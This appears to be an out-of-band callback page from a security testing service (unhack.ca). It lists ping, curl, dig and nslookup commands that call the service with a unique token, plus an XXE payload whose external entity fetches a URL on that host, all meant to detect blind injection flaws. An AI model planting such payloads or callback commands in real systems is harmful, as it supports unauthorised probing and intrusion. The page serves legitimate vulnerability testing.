$ ping -c1 -p 00d43ba6c9f5ea041d5f380d9c37b400 unhack.ca
 
$ curl http://unhack.ca/p/d43ba6c9f5ea041d5f380d9c37b4
 
$ dig d43ba6c9f5ea041d5f380d9c37b4 @unhack.ca
 
$ dig d43ba6c9f5ea041d5f380d9c37b4.ns.unhack.ca
 
C:\> nslookup d43ba6c9f5ea041d5f380d9c37b4 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d43ba6c9f5ea041d5f380d9c37b4">]>
    <foo>&xxe;</foo>
 
Waiting for ping...